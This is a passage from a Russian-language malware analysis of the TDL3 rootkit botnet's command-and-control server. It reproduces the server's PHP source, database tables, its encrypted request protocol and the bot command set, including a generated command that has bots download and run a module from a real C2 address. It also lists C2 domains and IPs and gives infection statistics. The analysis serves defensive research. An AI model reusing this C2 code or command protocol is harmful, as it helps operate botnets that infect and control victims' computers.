    Функциональность отправки специальных запросов не фигурирует в коде «полезной нагрузки» бота в явном виде, однако бот может отправлять подобные запросы в результате обработки команд, полученных с сервера (например, команды на загрузку дополнительного модуля «полезной нагрузки»).
    Рассмотрим процесс обработки запросов от бота более подробно. В первых строках скрипта /var/www/engine/index.php происходит подключение необходимых заголовочных файлов, а также расшифровка запроса:


    <?php
    try {
    
        // объявление констант, содержащих пути к различным директориям
        define('DS'                    , DIRECTORY_SEPARATOR       );
        define('DIR_ROOT'              , realpath('../')           );
        define('DIR_LIBRARY'           , DIR_ROOT.DS.'library'     );
        define('DIR_LIBRARY_CLASSES'   , DIR_LIBRARY.DS.'classes'  );
        define('DIR_LIBRARY_MODELS'    , DIR_LIBRARY.DS.'models'   );
        define('DIR_LIBRARY_FUNCTIONS' , DIR_LIBRARY.DS.'functions');
        define('DIR_DATA'              , DIR_ROOT.DS.'data'        );
    
        // подключение внешних модулей
        require_once( DIR_ROOT . DS . 'configuration.php' );
        require_once( DIR_LIBRARY_CLASSES . DS . 'DBase.php' );
        require_once( DIR_LIBRARY_FUNCTIONS . DS . 'rc4Encrypt.php' );
        require_once( DIR_LIBRARY_MODELS . DS . 'mBots.php' );
        require_once( DIR_LIBRARY_MODELS . DS . 'mAffiliate.php' );
        require_once( DIR_LIBRARY_MODELS . DS . 'mAffiliates.php' );
        require_once( DIR_LIBRARY_MODELS . DS . 'mBrowsers.php' );
        require_once( DIR_LIBRARY_MODELS . DS . 'mBuilds.php' );
        require_once( DIR_LIBRARY_MODELS . DS . 'mSystems.php' );
        require_once( DIR_LIBRARY_MODELS . DS . 'mCountries.php' );
        require_once( DIR_LIBRARY_MODELS . DS . 'mCommands.php' );
        require_once( DIR_LIBRARY_MODELS . DS . 'mCommandsMemcache.php' );
        
        // расшифровка запроса по RC4 (имя сервера используется в качестве ключа)
        $request      = rc4Decrypt( $_SERVER["HTTP_HOST"], base64_decode( substr( $_SERVER["REQUEST_URI"], 1 ) ) ); 
        $requestCount = 0;
        $requestHost = $_SERVER["HTTP_HOST"];
    
        if( $request ) {
            // разбиение строки запроса на элементы массива
            $request      = explode( '|', $request );
            $requestCount = sizeof( $request );
        } else {
            header("HTTP/1.0 404 Not Found");
            exit();
        }
    
        ...

    Поля запроса, как видно из приведённого кода, сохраняются в массиве $request. Далее, в зависимости от значения первого элемента этого массива (а именно, идентификатора типа для специальных запросов), происходит подключение одного из следующих PHP-скриптов, обрабатывающих конкретные типы запросов:
    Идентификатор типа специального запросаИмя скриптаНазначение
    removerremover.phpПриём статистики от модуля remover(подробнее о нём см. далее)
    servicesservices.phpУправление учётными записями партнёров (создание, удаление, запрос информации). По всей видимости, эти возможности были предусмотрены для сбора статистики об учётных записях партнёров с внешнего хоста, однако по неизвестным причинам не был защищён какими-либо механизмами авторизации, что позволяет получить доступ к подробнейшей статистике о работе ботнета произвольным лицам.
    rulesrules.phpПриём статистики о выполненных на стороне бота командах.
    redirectredirect.phpВыполнение перенаправления на содержащийся в базе URL по его числовому идентификатору.
    installationinstallation.phpВывод содержимого файла/var/www/engine/data/affId_affSid.dat, где affId и affSid — идентификаторы основной и дополнительной учетных записей партнёра, полученные из полей запроса. Назначение информации, содержащейся в.dat-файле, неизвестно, поскольку соответствующих файлов на целевом сервере обнаружено не было.
    modulesmodules.phpОбработка запросов на загрузку модулей со стороны ботов.
    Если значение первого элемента массива не совпало с приведенными в таблице идентификаторами, то такой запрос обрабатывается как запрос команды:


    } elseif( $requestCount == 8 || $requestCount == 10 ) {
        
            // подключение к базе данных
            DBase::connect( DBASE_HOST , DBASE_USER , DBASE_PWD , DBASE_BASE );
        
            // подключение к демону memcached
            $objMemcache = new Memcache;
            $objMemcache->connect( MCACHE_HOST, MCACHE_PORT );
            
            // получение информации о боте из полей запроса
            $requestName      = $request[0];
            $requestAffAid    = $request[1];
            $requestAffSid    = $request[2];
            $requestRk        = $request[3];
            $requestCmd       = $request[4];
            $requestSystem    = $request[5];
            $requestLang      = $request[6];
            $requestBrowser   = $request[7];
            
            if( $requestCount == 8 ) {    
                // информация о дате сборки и дате заражения не присутствует в запросе        
                $requestBuildDate   = 0;
                $requestInstallDate = 0;
            } else {
                $requestBuildDate   = strtotime( $request[8] );
                $requestInstallDate = strtotime( $request[9] );
            }
    
            $requestBuild     = "{$requestRk}_{$requestCmd}";
            $requestIp        = ip2long( $_SERVER['REMOTE_ADDR'] );
    
            $requestAffId     = null;
            $requestSystemId  = null;
            $requestBrowserId = null;
            $requestBuildId   = null;
    
            // подключение модуля engine.php
            // он осуществляет добавление информации о боте в базу данных и обработку запроса команды
            include('engine.php');
            
            $objMemcache->close();
            DBase::disconnect(); 
            
            ...

    Возвращаемый боту в ответ на запрос список команд также шифруется по алгоритму RC4, но в качестве ключа в этом случае используется не имя сервера, а идентификатор бота (содержимое переменной $requestName).

    Учётные записи партнёров

    В таблице affiliates содержится информация об учётных записях партнёров. Их добавление и редактирование доступно оператору панели администрирования ботнета.


    CREATE TABLE IF NOT EXISTS `affiliates` (
      `affId` int(11) unsigned NOT NULL auto_increment,   -- ключ таблицы
      `affAid` char(20) NOT NULL,                         -- идентификатор учётной записи партнёра
      `affGroup` int(11) unsigned NOT NULL,               -- группа учётной записи партнёра
      `affLogin` char(32) default NULL,                   -- имя (логин) учётной записи партнёра
      PRIMARY KEY  (`affId`)
    );

    Редактирование учётной записи партнёра в панели администрирования ботнета
    Редактирование учётной записи партнёра в панели администрирования ботнета
    Каждый партнёр может владеть произвольным количеством ботов. Идентификатор учётной записи партнёра «прошивается» в исполняемый файл бота на этапе его сборки и конфигурирования и хранится руткитом в файле config.ini на зашифрованной файловой системе.
    Также для каждого партнёра доступно создание дополнительных учётных записей, которые используются для разделения ботов, принадлежащих конкретному партнёру, на группы.
    Идентификаторы основной и дополнительной учётных записей партнёра в файле config.ini
    Идентификаторы основной и дополнительной учётных записей партнёра в файлеconfig.ini.
    Учётными записями партнёров можно управлять без посредства панели администрирования, путём отправки специальных запросов типа services веб-шлюзу командного сервера. Формат параметров этого запроса выглядит так:


    services|operation_code|argument_1|argument_2|...|argument_N

    ПолеНазначение
    operation_codeКод операции, которую необходимо выполнить
    argument_1argument_NНеобязательные аргументы, формат которых определяется конкретной операцией
    Коды операций приведены в следующей таблице:
    Код операцииАргументыНазначение
    100affAid,affLogin,affGroupСоздание новой учётной записи партнёра.
    110affIdУдаление существующей учётной записи партнёра.
    120affAidПеречисление всех дополнительных учётных записей для данной учётной записи партнёра.
    150engineTypeДобавление новой учётной записи партнёра с автоматической генерацией значения affAid. При этом значение affGroup выбирается в зависимости от значения engineType.
    200affAid,affSid,statDateFrom,statDateToЗапрос статистики по количеству установок бота для указанной учётной записи партнёра в заданный промежуток времени.
    201affAid,affSid,statDateFrom,statDateToЗапрос статистики количества ботов по странам для указанной учётной записи партнёра в заданный промежуток времени.
    301Перечисление существующих учётных записей партнёров.
    Пояснение назначения параметров запроса:
    ПараметрНазначение
    affIdПараметры соответствуют одноимённым полям в таблицеaffiliates
    affAid
    affSid
    affLogin
    statDateFromДаты в формате Y-m-d
    statDateTo
    affGroupИдентификатор группы партнёров
    Перечень возможных групп, к которым может принадлежать партнёр, содержится в файле /var/www/engine/data/groups.txt:


    Affiliates Groups
        1  - Test Installs
        10 - Our Installs
        20 - InstallConverter
        30 - ProfitCash
        40 - ReliefPPC
        50 - ConvertPPC

    Для примера, запрос получения статистики по количеству установок бота в период с 01.08.2009 по 01.07.2010 для дополнительного учётной записи 0 партнёра с affAid, равным 10000, будет выглядеть следующим образом:


    services|200|10000|0|2009-08-01|2010-07-01

    Таблица ботов

    Информация о боте представляет собой запись в таблице bots, которая создаётся при обработке первого запроса на получение команд от бота. При этом значения полей таблицы affIdaffSid и botName извлекаются из соответствующих параметров запроса.
    Класс mBots, обеспечивающий работу с таблицей bots, находится в файле/var/www/engine/library/models/mBots.php. Функции добавления и изменения информации о боте реализованы в скрипте /var/www/engine/public/engine.php.
    Структура таблицы bots:


    CREATE TABLE IF NOT EXISTS `bots` (                  
      `affId` int(11) unsigned NOT NULL,                  -- идентификатор учётной записи партнёра
      `affIdx` int(11) unsigned NOT NULL,                 -- обычно, содержит то же значение, что и affId
      `affSid` smallint(6) unsigned NOT NULL default '1', -- идентификатор дополнительной учётной записи
      `botId` int(11) unsigned NOT NULL auto_increment,   -- ключ таблицы
      `botName` char(60) NOT NULL,                        -- уникальное имя бота (параметр botid в config.ini)
      `botIp` bigint(20) NOT NULL,                        -- IP-адрес бота
      `botAdded` int(11) unsigned NOT NULL,               -- дата первого обращения бота к серверу
      `botAccess` int(11) unsigned NOT NULL,              -- дата последнего обращения бота к серверу
      `botCountry` tinyint(4) unsigned NOT NULL,          -- идентификатор страны бота
      `botSystem` smallint(6) unsigned NOT NULL,          -- идентификатор версии Windows заражённого компьютера
      `botBrowser` smallint(6) unsigned NOT NULL,         -- идентификатор версии браузера заражённого компьютера
      `botBuild` smallint(6) unsigned NOT NULL,           -- идентификатор версии руткита и модуля TDLCMD.DLL бота
      PRIMARY KEY  (`botId`),
      KEY `botName` (`botName`),
      KEY `affid_index` (`affId`),
      KEY `botAdded_index` (`botAdded`)
    );

    Система команд

    В конце скрипта engine.php подключается файл/var/www/enginedata/commands.php. Его задача — вывод команд, которые требуется выполнить боту. При этом скрипт commands.php генерируется динамически на основе данных, хранящихся в таблице commandsinfo.


    CREATE TABLE IF NOT EXISTS `commandsinfo` (
      `commOwner` int(11) NOT NULL default '1',           -- идентификатор учётной записи пользователя, добавившего команду
      `commId` int(11) unsigned NOT NULL auto_increment,  -- ключ таблицы
      `commName` varchar(255) NOT NULL,                   -- имя команды
      `commDesc` text NOT NULL,                           -- описание команды
      `commExe` varchar(255) NOT NULL,                    -- URL исполняемого файла (для команд, связанных с загрузкой и исполнением исполняемых файлов)
      `commStatus` enum('disable','enable',
          'deleted','temp') NOT NULL default 'enable',    -- статус команды (активная, неактивная, временная или удалённая)
      `commAdded` datetime NOT NULL,                      -- время добавления команды
      `commCode` text NOT NULL,                           -- PHP код команды, который будет включён в commands.php
      `commCodeCond` text NOT NULL,                       -- дополнительные параметры команды
      `commCodeComm` text NOT NULL,
      `commOrder` int(11) NOT NULL,                       -- порядковый номер команды
      PRIMARY KEY  (`commId`)
    );

    Класс mCommands, обеспечивающий работу с командами, находится в файле/var/www/engine/library/models/mCommands.php. Процедура динамического создания файла commands.php реализована в методе reGenerate, который вызывается по команде из панели администрирования:


    function reGenerate() {
            $code = '';
            
            // получение из базы данных информации о всех доступных командах
            $commands = $this->getSummaryFull();
            for ($i = 0; $i < sizeof($commands); $i++) {
                if ($commands[$i]['commStatus'] == 'enable') {
                    // получение PHP кода для каждой из команд
                    $code .= $this->getCode($commands[$i]['commId']) . "\r\n\r\n\r\n";
                }
            }
            
            // чтение файла-шаблона
            // он содержит статический код, который должен быть включён в commands.php
            $templateFile = dirname(__FILE__).DS.'commands.template';
            $fp = fopen($templateFile, 'r');
            $template = fread($fp, filesize($templateFile));
            fclose($fp);
            
            $template = str_replace('%COMMS%', $code, $template);
            
            // запись commands.php на диск
            $file = '/var/www/enginedata/commands.php';
            $fp = fopen($file, 'w');
            fwrite($fp, $template);
            fclose($fp);
        }

    Добавление новой команды в панели администрирования
    Добавление новой команды в панели администрирования
    Для каждой команды можно указать следующие дополнительные параметры:
    • Идентификаторы стран, для ботов из которых требуется выполнение данной команды.
    • Идентификаторы учётных записей партнёров.
    • Версии браузеров на зараженных машинах.
    • Версии руткита и модуля TDLCMD.DLL.
    • Время жизни команды.
    • Максимальное число запусков команды.
    Оператор панели администрирования может даже редактировать непосредственно фрагмент PHP-кода, который будет включён в commands.php.
    Редактирование кода команды в панели администрирования
    Редактирование кода команды в панели администрирования
    Бот может обрабатывать следующие команды:
    КомандаОписание
    botnetcmd.SetCmdDelay(Seconds)Установка интервала обращения к серверу
    botnetcmd.ModuleDownloadUnxor(URL,LocalPath)Загрузка зашифрованного исполняемого модуля
    botnetcmd.FileDownloadRandom(URL,LocalPath)Загрузка произвольного файла
    botnetcmd.LoadExe(FileURL)Загрузка и запуск исполняемого файла
    botnetcmd.LoadExeKnock(FileURL,KnockURL)Загрузка и запуск исполняемого файла с отправкой HTTP-запроса на произвольный URL в случае успеха
    botnetcmd.InjectorAdd(ProcessName,DLLName)Внедрение DLL в указанный процесс (*— во все процессы)
    tdlcmd.ConfigWrite(Section,ParameterValue)Запись произвольных данных вconfig.ini
    tdlcmd.Download(URLLocalPath)Загрузка произвольного файла.

    Модули «полезной нагрузки»

    Основные функции руткита TDL3 — «полезная нагрузка» — обеспечиваются дополнительными модулями. Модули представляют собой обычные динамические библиотеки, загружаемые с сервера и внедряемые в произвольный либо текущий процесс пользовательского режима.
    Информация о доступных модулях хранится в таблице modules:


    CREATE TABLE IF NOT EXISTS `modules` (
      `modId` int(11) unsigned NOT NULL auto_increment,   -- ключ таблицы
      `modName` char(255) NOT NULL,                       -- имя модуля
      `modData` longblob,                                 -- данные исполняемого образа модуля
      `modLoads` int(11) unsigned NOT NULL,               -- количество загрузок модуля
      PRIMARY KEY  (`modId`)
    );

    Загрузка файла модуля на заражённый компьютер может производиться с помощью команды ModuleDownloadUnxor. В качестве параметра ей передаётся зашифрованный запрос к серверу, формат полей которого выглядит следующим образом:


    module|ModuleId!Key!

    ПолеНазначение
    ModuleIdИдентификатор модуля (значение поля modId таблицыmodules)
    KeyЛюбая строка (необязательное поле). Значение данного параметра будет использовано в качестве ключа шифрования по алгоритму RC4 для модуля, выдаваемого боту в ответ на запрос
    Запрос на загрузку модуля обрабатывается в файле/var/www/engine/public/modules.php:


    <?php
    
        require_once( DIR_LIBRARY_MODELS . DS . 'mModules.php' );
    
        // проверка наличия ключа для шифрования в запросе на загрузку модуля
        if( preg_match( "%(\d*)!(.*)!%Uis", $request[1], $matches ) ) {
            $modId    = $matches[1];
            $modCrypt = $matches[2];
        } else {
            $modId    = $request[1];
            $modCrypt = FALSE;
        }
     
        // получение информации о модуле
        $modDetails = mModules::details( $modId );
    
        if( $modCrypt ) {
            // возвращение клиенту данных модуля в зашифрованном виде
            print rc4Encrypt( $modCrypt, $modDetails['modData'] );
        } else {
            // возвращение клиенту данных модуля в открытом виде
            print $modDetails['modData'];
        }
        
        // приращение счётчика количества загрузок для данного модуля
        mModules::increment( $modId );

    Исполнение команды, адресованной конкретному модулю, происходит путём отправки боту строки следующего вида:


    ModuleName.Function([Params])

    ПолеНазначение
    ModuleNameИмя динамической библиотеки модуля на заражённом компьютере
    FunctionИмя произвольной функции, экспортируемой динамической библиотекой модуля
    ParamsПроизвольные числовые или строковые параметры, которые следует передать вызываемой функции в качестве аргументов
    Пример загрузки и исполнения модуля remover (фрагмент кода из commands.php):


    // --- Command #273 Start ---
    
        $commId = 273;
        
        // получение информации о команде по её идентификатору
        $commDetails       = $objCommands->getCommand( $commId );
        $commDetailsCreate = FALSE;
        if( $commDetails == FALSE ) {
            $commDetails['commId']       = $commId;
            $commDetails['commRefences'] = 0;
            $commDetails['commSuccesed'] = 0;
            $commDetailsCreate           = TRUE;
        }
        
        // Condition 1
        if( $botBuild >= 26 ) {
            $commDetailsBot       = mCommands::getCommandExecuted( $commId, $botId );
            $commDetailsBotCreate = FALSE;
            if( $commDetailsBot == FALSE ) {
                $commDetailsBot['botId']        = $botId;
                $commDetailsBot['commId']       = $commId;
                $commDetailsBot['commDate']     = 0;
                $commDetailsBot['commSuccesed'] = 0;
                $commDetailsBotCreate           = TRUE;
            }
            
            // Condition 2
            if( ($commDetailsBot['commSuccesed'] < 1) ) {
                $commSucces  = TRUE;
                // команда на загрузку модуля и сохранение его под именем tdlrm.dll
                $commOutput .= "tdlcmd.Download('https://91.212.226.60/czRvvJ+iknAB','tdlrm.dll')\n";
                // команда на исполнение функции Start() из tdlrm.dll
                $commOutput .= "tdlrm.Start()\n";
            } else {
                $commSucces  = FALSE;
            }
            
            ...
        
    // --- Command #273 End ---

    Добавление и редактирование модулей происходит в соответствующем разделе панели администрирования:
    Редактирование модуля в панели администрирования
    Редактирование модуля в панели администрирования
    На момент получения доступа к серверу в базе данных присутствовали следующие модули:
    Имя модуляНазначение
    DDoSРеализация DDoS-атак
    RemoverНебольшой антивирус, работающий с базами сигнатурMalwarebytes' Anti-Malware и производящий на зараженном компьютере поиск «чужих» вредоносных программ.
    TDLCMDОсновной модуль «полезной нагрузки», используемый руткитом. В данном модуле реализованы функции отправки сообщений серверу, выполнения команд и т.п.
    WSP/WSP PopupМодуль перехвата запросов для поисковых сервисов (Google, Yahoo, Bing, Ask, AOL) с целью подмены результатов поиска, отображаемых в браузере. Также содержит функции отображения всплывающих рекламных окон.
    Модули защищены при помощи неизвестной программы для шифрования кода, что может затруднить их анализ.
    На момент анализа числа загрузок для модуля Remover составляло 19 000 — таким образом, количество его загрузок несопоставимо мало относительно общего количества ботов. Это может свидетельствовать о том, что модуль Remover на момент анализа проходил тестирование, и что в будущем разработчиками бота планируется широкое использование своего собственного «антивируса» для борьбы с конкурирующими вредоносными программами.

    Статистика

    В завершении статьи приведём несколько срезов статистики по ботнету. Статистические данные были получены путём анализа базы данных командного сервера d45648675.cn по состоянию на 7 февраля 2010 года.
    Общие данные:
    Количество ботов за всё время5 247 115
    Количество учётных записей партнёров512
    Дата установки первого бота12.08.2009
    Дата установки последнего бота07.02.2010
    Более подробные статистические данные приведены ниже в виде графиков и диаграмм.
    Число новых установок по неделям (одна точка на графике соответствует одной неделе)
    Число новых установок по неделям (одна точка на графике соответствует одной неделе)
    Заметный пик на графике соответствует «рекорду» в 443 364 уникальные установки бота 19 января 2010 года. Все установки были относительно равномерно распределены между несколькими десятками партнёрских учётных записей. Это может говорить о том, что причиной столь стремительного роста числа инсталляций стала волна эксплуатации некой уязвимости «нулевого дня».
    Число уникальных ботов, которые обращались к серверу в течение недели
    Число уникальных ботов, которые обращались к серверу в течение недели
    Распределение ботов по странам
    Распределение ботов по странам
    Распределение ботов по партнёрам
    Распределение ботов по партнёрам
    Как видно из диаграммы, самый крупный партнёр обеспечивал 22,3% всех инсталляций руткита, вдвое превышая по эффективности второго партнёра.
    Распределение новых инсталляций по партнёрам
    Распределение новых инсталляций по партнёрам
    Как видно из диаграммы, 90% партнёров обеспечивают от 1 000 до 50 000 загрузок, из которых 50% приходится на мелких партнёров (число загрузок от 1 000 до 5 000). Партнёров с числом загрузок более 5 000 всего 17, из них всего один обеспечил более 1 000 000 загрузок.
    Версии Windows
    Версии Windows
    Как видно из диаграммы, операционная система Windows XP, в которой не поддерживаются современные защитные механизмы (UAC, DEP и ASLR), является наиболее уязвимой для вредоносных программ. Относительно малое число заражений операционной системы Windows 7 не связано с долей данной операционной системы в числе остальных (которая достаточно высока). Можно предположить, что доставка бота на компьютеры с Windows 7 осуществлялась преимущественно методами социальной инженерии.
    Версии руткита
    Версии руткита
    Версии модуля TDLCMD.DLL
    Версии модуля TDLCMD.DLL
    Поскольку сервер d45648675.cn функционирует и в настоящее время, мы приняли решение собрать обновлённую статистику на момент написания статьи (14 июля 2010) с помощью механизмов, предоставляемых описанным выше специальным запросом типа services. Мы также проанализировали несколько десятков инсталляторов руткита TDL3, чтобы выявить адреса всех активных командных серверов.
    Помимо сервера, соответствующего доменному имени d45648675.cn (и ряду других), на данный момент также используется второй сервер a57990057.cn. Каждый из двух серверов имеет несколько IP-адресов, и каждому IP-адресу сопоставлено несколько доменов. Список IP-адресов и доменов для обоих серверов приведён в следующей таблице:
    IP-адресДоменное имяКоличество ботов за всё времяКоличество учётных записей партнёровДата установки первого бота
    91.212.226.60d45648675.cn8 547 24185712.08.2009
    91.212.226.59zz87jhfda88.com
    91.212.226.59lj1i16b0.com
    61.61.20.132a57990057.cn7 860 6772 54731.12.2009
    61.61.20.13268b6b6b6.com
    91.212.226.70o0o0o0o0.com
    61.61.20.135jro1ni1l1.com
    61.61.20.13534jh7alm94.asia
    Как видно из таблицы, в период с 07.02.2010 по 14.07.2010 количество ботов, прошедших через первый сервер, выросло почти на 40%, а общее количество компьютеров, заражённых руткитом TDL3 в период с 12.08.2009 по 14.07.2010, составило более 16 000 000. Крупнейшим ботнетом в мире до настоящего момента считался ботнет Mariposa, объём которого на момент его закрытия был оценён экспертами в 12 000 000 зомби-машин.